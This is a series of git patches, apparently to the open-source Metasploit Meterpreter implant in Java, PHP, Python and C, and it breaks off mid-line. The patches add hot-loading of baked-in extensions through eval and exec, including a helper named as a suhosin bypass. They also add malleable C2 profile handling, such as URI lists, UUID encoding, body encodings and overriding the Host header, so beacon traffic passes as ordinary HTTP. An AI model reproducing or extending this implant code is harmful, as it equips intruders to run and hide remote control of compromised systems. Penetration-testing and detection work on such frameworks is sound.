b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -44,6 +44,7 @@ public class Meterpreter { private byte[] uuid; private byte[] sessionGUID; private long sessionExpiry; + private JarFileClassLoader extensionLoader; protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configBlock) throws MalformedURLException { Config config = ConfigParser.parseConfig(configBlock); @@ -57,7 +58,7 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] if (config.debug_log != null && config.debug_log.length() > 0) { try { PrintStream debugStream = new PrintStream(new FileOutputStream(config.debug_log, true)); - System.setErr(debugStream); + // System.setErr(debugStream); // TEMP DEBUG: leave stderr on the console } catch (IOException ignored) { // failed to open log file; carry on without debug logging } @@ -331,7 +332,21 @@ public void writeRequestPacket(int commandId, TLVPacket tlv) throws IOException public Integer[] loadExtension(byte[] data) throws Exception { ClassLoader classLoader = getClass().getClassLoader(); if (loadExtensions) { - JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader; + // Staged payloads bootstrap us through a JarFileClassLoader so + // this.getClass().getClassLoader() is already one. The stageless + // jar runs under the JVM's AppClassLoader, so create our own + // JarFileClassLoader on first load and reuse it across calls so + // previously-loaded extensions stay reachable. + JarFileClassLoader jarLoader; + if (classLoader instanceof JarFileClassLoader) { + jarLoader = (JarFileClassLoader) classLoader; + } else { + if (extensionLoader == null) { + extensionLoader = new JarFileClassLoader(classLoader); + } + jarLoader = extensionLoader; + classLoader = jarLoader; + } jarLoader.addJarFile(data); } JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data)); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java index c4e4ae557..07ffb2a17 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java @@ -13,7 +13,9 @@ public class StagelessMain { private static final String CONFIG_RESOURCE = "/META-INF/data"; public static void main(String[] args) throws Exception { + System.err.println("[MC2DBG] StagelessMain.main entered"); InputStream cfg = StagelessMain.class.getResourceAsStream(CONFIG_RESOURCE); + System.err.println("[MC2DBG] config resource " + (cfg == null ? "MISSING" : "loaded")); if (cfg == null) { throw new RuntimeException("no embedded config block"); } @@ -27,6 +29,13 @@ public static void main(String[] args) throws Exception { } finally { cfg.close(); } - new Meterpreter(buf.toByteArray(), true, true); + try { + new Meterpreter(buf.toByteArray(), true, false); + } catch (Exception e) { + System.err.println("[MC2DBG] Meterpreter ctor threw: " + e); + e.printStackTrace(System.err); + throw e; + } + System.err.println("[MC2DBG] Meterpreter ctor returned (loop exited)"); } } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index b682534cc..693fde41f 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -84,9 +84,13 @@ private static C2VerbConfig parseC2VerbGroup(TLVPacket request, int groupType) { C2VerbConfig config = new C2VerbConfig(); config.uri = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_URI, null); - config.enc = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC, new Integer(0)); + config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0)); + config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0)); + config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0)); config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null); config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null); + config.uuidPrefix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_PREFIX, ""); + config.uuidSuffix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_SUFFIX, ""); config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0)); config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0)); config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java index a82a1022e..547ec9bf0 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java @@ -88,7 +88,7 @@ public interface TLVType { public static final int TLV_TYPE_C2_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 717; // Expected SSL certificate hash public static final int TLV_TYPE_C2_PREFIX = TLVPacket.TLV_META_TYPE_RAW | 718; // Data to prepend to the outgoing payload public static final int TLV_TYPE_C2_SUFFIX = TLVPacket.TLV_META_TYPE_RAW | 719; // Data to append to the outgoing payload - public static final int TLV_TYPE_C2_ENC = TLVPacket.TLV_META_TYPE_UINT | 720; // Request encoding flags (Base64|URL|Base64url) + public static final int TLV_TYPE_C2_ENC_INBOUND = TLVPacket.TLV_META_TYPE_UINT | 720; // Server->client (response) body encoding public static final int TLV_TYPE_C2_PREFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 721; // Size of prefix to skip (in bytes) public static final int TLV_TYPE_C2_SUFFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 722; // Size of suffix to skip (in bytes) public static final int TLV_TYPE_C2_UUID_COOKIE = TLVPacket.TLV_META_TYPE_STRING | 723; // Name of the cookie to put the UUID in @@ -96,6 +96,10 @@ public interface TLVType { public static final int TLV_TYPE_C2_UUID_HEADER = TLVPacket.TLV_META_TYPE_STRING | 725; // Name of the header to put the UUID in public static final int TLV_TYPE_C2_UUID = TLVPacket.TLV_META_TYPE_STRING | 726; // string representation of the UUID for C2s public static final int TLV_TYPE_SESSION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 727; // session-level configuration flags (FLAG_STAGELESS, FLAG_DEBUG, FLAG_WAKELOCK, FLAG_HIDE_APP_ICON) + public static final int TLV_TYPE_C2_ENC_OUTBOUND = TLVPacket.TLV_META_TYPE_UINT | 728; // Client->server (request) body encoding (POST only) + public static final int TLV_TYPE_C2_ENC_UUID = TLVPacket.TLV_META_TYPE_UINT | 729; // Encoding applied to the UUID before placement + public static final int TLV_TYPE_C2_UUID_PREFIX = TLVPacket.TLV_META_TYPE_STRING | 730; // String to prepend to the encoded UUID + public static final int TLV_TYPE_C2_UUID_SUFFIX = TLVPacket.TLV_META_TYPE_STRING | 731; // String to append to the encoded UUID // Fs public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java index 17a045013..5a350fe5f 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java @@ -3,9 +3,13 @@ public class C2VerbConfig { public String uri; - public int enc; // 0=None, 1=Base64, 2=Base64URL + public int encInbound; // server->client (response body) encoding + public int encOutbound; // client->server (request body, POST only) encoding + public int encUuid; // encoding applied to the UUID before placement public byte[] prefix; public byte[] suffix; + public String uuidPrefix; // string prepended to the (encoded) UUID + public String uuidSuffix; // string appended to the (encoded) UUID public int prefixSkip; public int suffixSkip; public String uuidGet; diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index 3d241823c..b9a6a8d43 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -82,9 +82,13 @@ private static C2VerbConfig parseC2VerbGroup(TLVPacket c2Group, int groupType) { C2VerbConfig config = new C2VerbConfig(); config.uri = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_URI, null); - config.enc = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC, new Integer(0)); + config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0)); + config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0)); + config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0)); config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null); config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null); + config.uuidPrefix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_PREFIX, ""); + config.uuidSuffix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_SUFFIX, ""); config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0)); config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0)); config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null); From 0725b8d3373ac8b6cdaad86f439c1cc8384f9839 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 17:55:46 +1000 Subject: [PATCH 22/35] Add extension support to stageless PHP And fix a prefix/suffix type issue in UUIDs. --- php/meterpreter/meterpreter.php | 26 ++++++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 210fed059..35b4a9bee 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -267,8 +267,8 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_C2_ENC_INBOUND", TLV_META_TYPE_UINT | 720); define("TLV_TYPE_C2_ENC_OUTBOUND", TLV_META_TYPE_UINT | 728); define("TLV_TYPE_C2_ENC_UUID", TLV_META_TYPE_UINT | 729); -define("TLV_TYPE_C2_UUID_PREFIX", TLV_META_TYPE_RAW | 730); -define("TLV_TYPE_C2_UUID_SUFFIX", TLV_META_TYPE_RAW | 731); +define("TLV_TYPE_C2_UUID_PREFIX", TLV_META_TYPE_STRING | 730); +define("TLV_TYPE_C2_UUID_SUFFIX", TLV_META_TYPE_STRING | 731); define("TLV_TYPE_C2_PREFIX_SKIP", TLV_META_TYPE_UINT | 721); define("TLV_TYPE_C2_SUFFIX_SKIP", TLV_META_TYPE_UINT | 722); define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723); @@ -1412,6 +1412,15 @@ function parse_config_block($raw) { } $config['transports'] = $transports; + $extensions = array(); + foreach (packet_enum_tlvs($config_bytes, TLV_TYPE_EXTENSION) as $ext_tlv) { + $data_tlv = packet_get_tlv_raw($ext_tlv['value'], TLV_TYPE_DATA); + if ($data_tlv != null && strlen($data_tlv['value']) > 0) { + $extensions[] = $data_tlv['value']; + } + } + $config['extensions'] = $extensions; + return $config; } @@ -2350,6 +2359,19 @@ function http_send_packet($transport, $packet) { $GLOBALS['session_expiry_end'] = time() + $config['session_expiry']; $GLOBALS['running'] = true; +# Hot-load extensions baked into the config block (EXTENSIONS=) before +# opening the C2 session, so the framework sees them at connect time. +if (!empty($config['extensions'])) { + foreach ($config['extensions'] as $ext_source) { + if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval') && can_call_function('create_function')) { + $suhosin_bypass = create_function('', $ext_source); + $suhosin_bypass(); + } else { + eval($ext_source); + } + } +} + # # Outer transport-rotation loop: activate the current transport (with retry), # dispatch on it, then rotate forward or switch as directed. From 4eeded1c03365589e76fc88f63669bdd48ece391 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 17:56:11 +1000 Subject: [PATCH 23/35] Add stageless extension support to Python --- python/meterpreter/meterpreter.py | 35 ++++++++++++++++++++++++------- 1 file changed, 27 insertions(+), 8 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index 2c5c36be3..421b439b5 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -1716,13 +1716,11 @@ def _core_negotiate_tlv_encryption(self, request, response): debug_print('[*] finished negotiating TLV encryption') return ERROR_SUCCESS, response - def _core_loadlib(self, request, response): - data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) - if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: - return ERROR_FAILURE, response - + def load_extension(self, data): + """Exec extension source bytes in the meterpreter symbol namespace. + Returns the libname that registered itself (or None).""" libname = '???' - match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data_tlv['value']), re.MULTILINE) + match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data), re.MULTILINE) if match is not None: libname = match.group(1) @@ -1730,8 +1728,15 @@ def _core_loadlib(self, request, response): symbols_for_extensions = {'meterpreter': self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) - i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec')) - extension_name = self.last_registered_extension + i.runcode(compile(data, 'ext_server_' + libname + '.py', 'exec')) + return self.last_registered_extension + + def _core_loadlib(self, request, response): + data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) + if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + return ERROR_FAILURE, response + + extension_name = self.load_extension(data_tlv['value']) if extension_name: check_extension = lambda x: x.startswith(extension_name) @@ -1959,6 +1964,13 @@ def parse_config_block(raw): transports.append(transport) config['transports'] = transports + extensions = [] + for ext_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_EXTENSION): + data_tlv = packet_get_tlv(ext_tlv['value'], TLV_TYPE_DATA) + data = data_tlv.get('value') + extensions.append(data) if data else None + config['extensions'] = extensions + return config class AES_CBC(object): @@ -2266,4 +2278,11 @@ def encrypt(self, pt): met.session_expiry_end = time.time() + config['session_expiry'] for t in config['transports'][1:]: met.transports.append(t) + # Hot-load any extensions baked into the config block (EXTENSIONS=) + # before opening the C2 session, so the framework sees them at connect. + for ext_data in config.get('extensions', []): + try: + met.load_extension(ext_data) + except Exception: + debug_traceback('[-] failed to load baked extension') met.run() From bc06ce07ecdf637409e4be9e24b34102be4521c4 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 17:59:25 +1000 Subject: [PATCH 24/35] Add extension support to stageless Java --- .../java/com/metasploit/meterpreter/Meterpreter.java | 11 +++++++++-- .../src/main/java/com/metasploit/stage/Config.java | 5 +++++ .../main/java/com/metasploit/stage/ConfigParser.java | 9 +++++++++ 3 files changed, 23 insertions(+), 2 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index c66f651d1..1ab84db48 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -79,8 +79,15 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] this.transports.add(t); } - // we don't currently support extensions, so when we reach the end of the - // list of transports we just bomb out. + // Hot-load extensions baked into the config block (EXTENSIONS=) so + // their commands are registered before the first C2 dispatch. + for (byte[] extData : config.extensions) { + try { + loadExtension(extData); + } catch (Throwable t) { + t.printStackTrace(System.err); + } + } } public byte[] getUUID() { diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java index 3e91a0e30..4c2832b7f 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java @@ -21,4 +21,9 @@ public class Config { public List transportConfigList = new LinkedList(); + // Raw extension jar bytes from any TLV_TYPE_EXTENSION groups in the + // config block (EXTENSIONS=). Hot-loaded after Meterpreter starts so + // commands are registered before the first C2 dispatch. + public List extensions = new LinkedList(); + } diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index b9a6a8d43..6bfe71604 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -69,6 +69,15 @@ public static Config parseConfig(byte[] configBytes) { } config.transportConfigList.add(transportConfig); } + + List extensionGroups = configPacket.getValues(TLVType.TLV_TYPE_EXTENSION); + for (int i = 0; i < extensionGroups.size(); ++i) { + byte[] data = extensionGroups.get(i).getRawValue(TLVType.TLV_TYPE_DATA, null); + if (data != null && data.length > 0) { + config.extensions.add(data); + } + } + return config; } From c72d32bc1c3d470567c462aa501bc18d1a417f5c Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 3 Jun 2026 15:45:28 +1000 Subject: [PATCH 25/35] Remove debug lines from Java --- .../com/metasploit/meterpreter/HttpTransport.java | 11 +---------- .../com/metasploit/meterpreter/StagelessMain.java | 11 +---------- 2 files changed, 2 insertions(+), 20 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index f0b71e471..9f7e851a7 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -66,7 +66,6 @@ public void bind(DataInputStream in, OutputStream rawOut) { @Override public boolean patchUuid(String uuid) { // MC2 mode: only swap the UUID; the profile rebuilds the URL. - System.err.println("[MC2DBG] patchUuid uuid=" + uuid + " c2Get=" + (c2Get != null) + " c2Post=" + (c2Post != null)); this.c2Uuid = uuid; if (this.c2Get != null || this.c2Post != null) { return true; @@ -318,11 +317,9 @@ private void useNextUrl() { private String getUuidFromUrl() { if (this.c2Uuid != null && this.c2Uuid.length() > 0) { - System.err.println("[MC2DBG] getUuidFromUrl c2Uuid=" + this.c2Uuid); return this.c2Uuid; } String path = this.targetUrl.getPath(); - System.err.println("[MC2DBG] getUuidFromUrl targetUrl.path=" + path); if (path == null || path.length() <= 1) { return ""; } @@ -331,9 +328,7 @@ private String getUuidFromUrl() { path = path.substring(0, path.length() - 1); } int lastSlash = path.lastIndexOf('/'); - String result = (lastSlash >= 0) ? path.substring(lastSlash + 1) : path; - System.err.println("[MC2DBG] getUuidFromUrl from URL -> " + result); - return result; + return (lastSlash >= 0) ? path.substring(lastSlash + 1) : path; } /** @@ -356,9 +351,7 @@ private static String renderUuid(C2VerbConfig profile, String uuid) { } private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { - System.err.println("[MC2DBG] buildProfileUrl profile=" + (profile == null ? "null" : "set") + " profile.uri=" + (profile != null ? profile.uri : "(n/a)")); if (profile == null || profile.uri == null) { - System.err.println("[MC2DBG] buildProfileUrl falling through to targetUrl=" + this.targetUrl); return this.targetUrl; } @@ -373,7 +366,6 @@ private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { String fullUrl = baseUrl + uri; String renderedUuid = renderUuid(profile, getUuidFromUrl()); - System.err.println("[MC2DBG] buildProfileUrl baseUrl=" + baseUrl + " uri=" + uri + " renderedUuid=" + renderedUuid); if (profile.uuidGet != null) { if (renderedUuid.length() > 0) { @@ -390,7 +382,6 @@ private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { } } - System.err.println("[MC2DBG] buildProfileUrl final fullUrl=" + fullUrl); return new URL(fullUrl); } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java index 07ffb2a17..f118e6fa7 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java @@ -13,9 +13,7 @@ public class StagelessMain { private static final String CONFIG_RESOURCE = "/META-INF/data"; public static void main(String[] args) throws Exception { - System.err.println("[MC2DBG] StagelessMain.main entered"); InputStream cfg = StagelessMain.class.getResourceAsStream(CONFIG_RESOURCE); - System.err.println("[MC2DBG] config resource " + (cfg == null ? "MISSING" : "loaded")); if (cfg == null) { throw new RuntimeException("no embedded config block"); } @@ -29,13 +27,6 @@ public static void main(String[] args) throws Exception { } finally { cfg.close(); } - try { - new Meterpreter(buf.toByteArray(), true, false); - } catch (Exception e) { - System.err.println("[MC2DBG] Meterpreter ctor threw: " + e); - e.printStackTrace(System.err); - throw e; - } - System.err.println("[MC2DBG] Meterpreter ctor returned (loop exited)"); + new Meterpreter(buf.toByteArray(), true, false); } } From cc623678e9a50697cc5bde77bb4e77cf24063d1b Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 3 Jun 2026 15:51:03 +1000 Subject: [PATCH 26/35] Re-enable debug stream in java --- .../src/main/java/com/metasploit/meterpreter/Meterpreter.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 1ab84db48..24687b7c7 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -58,7 +58,7 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] if (config.debug_log != null && config.debug_log.length() > 0) { try { PrintStream debugStream = new PrintStream(new FileOutputStream(config.debug_log, true)); - // System.setErr(debugStream); // TEMP DEBUG: leave stderr on the console + System.setErr(debugStream); } catch (IOException ignored) { // failed to open log file; carry on without debug logging } From 23cd419763cd1a158e8357b0c199b2eb0cf7f8ea Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 3 Jun 2026 15:51:25 +1000 Subject: [PATCH 27/35] Set redirectErrors to true to catch erros internally --- .../src/main/java/com/metasploit/meterpreter/StagelessMain.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java index f118e6fa7..c4e4ae557 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java @@ -27,6 +27,6 @@ public static void main(String[] args) throws Exception { } finally { cfg.close(); } - new Meterpreter(buf.toByteArray(), true, false); + new Meterpreter(buf.toByteArray(), true, true); } } From ddd897695c6fce442199bdb0b2845bb5c5c86215 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 3 Jun 2026 15:52:18 +1000 Subject: [PATCH 28/35] Skip compressed types for extensions --- python/meterpreter/meterpreter.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index 421b439b5..3b2091afd 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -1967,6 +1967,8 @@ def parse_config_block(raw): extensions = [] for ext_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_EXTENSION): data_tlv = packet_get_tlv(ext_tlv['value'], TLV_TYPE_DATA) + if (data_tlv.get('type', 0) & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + continue data = data_tlv.get('value') extensions.append(data) if data else None config['extensions'] = extensions From 595ff9469101c1c6f22a79e7d68c4a269f6ebb62 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 3 Jun 2026 15:54:04 +1000 Subject: [PATCH 29/35] Use correct getParam --- c/meterpreter/source/metsrv/server_http_utils.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 67454d0ba..93d4d7645 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -404,7 +404,7 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) if (getParam) { wcscat_s(uri, uriLen, queryString ? L"&" : L"?"); - wcscat_s(uri, uriLen, conn->options.uuid_get); + wcscat_s(uri, uriLen, getParam); wcscat_s(uri, uriLen, L"="); wcscat_s(uri, uriLen, uuidValue); } From 68407d2438ae802f2ddc012ed08ea49c2903a27c Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 22:03:50 +1000 Subject: [PATCH 30/35] Allow restricted headers to be set in java Without this, the MC2 host headers can't be modified, so any profile that uses something like the 'Host' header (like Diego's profile) would fail. This allows it to be set, making it work as expected. --- .../main/java/com/metasploit/meterpreter/StagelessMain.java | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java index c4e4ae557..dbbe1f692 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java @@ -13,6 +13,12 @@ public class StagelessMain { private static final String CONFIG_RESOURCE = "/META-INF/data"; public static void main(String[] args) throws Exception { + // Allow MC2 profiles to override restricted HTTP headers (Host, + // Connection, Content-Length, ...). Must run before any + // HttpURLConnection is touched so HttpURLConnection's static + // initializer reads this property. + System.setProperty("sun.net.http.allowRestrictedHeaders", "true"); + InputStream cfg = StagelessMain.class.getResourceAsStream(CONFIG_RESOURCE); if (cfg == null) { throw new RuntimeException("no embedded config block"); From 0686ca27393757d5c3c291b7e14e9a29bcd6091e Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 21:42:45 +1000 Subject: [PATCH 31/35] Support multi-URI C2 profiles and add C2 debug logging in Python A profile's `set uri` may list several space-separated candidate URIs (Cobalt Strike picks one at random per request). Read every TLV_TYPE_C2_URI from the GET/POST group into opts['uris'] instead of a single value, and have _build_request_url pick one at random per request. This avoids pasting the raw "uri-a uri-b" string into the request URL, which produced a space-corrupted HTTP request line. Also add DEBUGGING-gated instrumentation to trace the C2 HTTP exchange: a debug_hexdump helper plus logging of the outgoing GET request (uuid/url/headers, or a non-c2 marker), the raw response body, the bytes after prefix/suffix strip and inbound decode, packet validation outcome, the incoming command id/TLVs in create_response, and the old->new UUID in _core_patch_uuid. --- python/meterpreter/meterpreter.py | 42 ++++++++++++++++++++++++++++--- 1 file changed, 38 insertions(+), 4 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index 3b2091afd..dd52c08ec 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -459,6 +459,18 @@ def debug_print(msg): if DEBUGGING: logging.debug(msg) +def debug_hexdump(label, data): + if DEBUGGING: + if data is None: + debug_print(label + ' = None') + return + preview = data[:64] + try: + hexed = binascii.b2a_hex(preview).decode('ascii') + except Exception: + hexed = repr(preview) + debug_print('%s (len=%d): %s%s' % (label, len(data), hexed, '...' if len(data) > 64 else '')) + @export def debug_traceback(msg=None): if DEBUGGING: @@ -926,7 +938,10 @@ def should_retire(self): def _parse_c2_verb_options(group_bytes): """Parse GET or POST sub-group TLV bytes into an options dict.""" opts = {} - opts['uri'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_URI).get('value') + # A profile's `set uri` may list several candidate URIs, emitted as + # repeated TLV_TYPE_C2_URI values. Collect them all; the request + # builder picks one at random per request (Cobalt Strike semantics). + opts['uris'] = [t['value'] for t in packet_enum_tlvs(group_bytes, TLV_TYPE_C2_URI)] opts['ua'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UA).get('value') opts['headers'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_HEADERS).get('value') opts['enc_inbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_INBOUND).get('value', C2_ENCODING_NONE) @@ -1162,7 +1177,9 @@ def _build_request_url(self, c2_opts, uuid=None): # self.url is intentionally discarded here. match = re.match(r'(https?://[^/]+)', self.url) base_url = match.group(1) if match else self.url - uri = c2_opts.get('uri') or '' + # Pick one of the profile's candidate URIs at random per request. + uris = c2_opts.get('uris') or [] + uri = random.choice(uris) if uris else '' url = base_url + '/' + uri.lstrip('/') rendered = self._render_uuid(c2_opts, uuid) if uuid else '' @@ -1214,9 +1231,11 @@ def _get_packet(self): uuid = self._get_uuid() url = self._build_request_url(self.c2_get, uuid) headers = self._build_request_headers(self.c2_get, uuid) + debug_print('[GET] uuid=%r url=%s headers=%r' % (uuid, url, headers)) else: url = 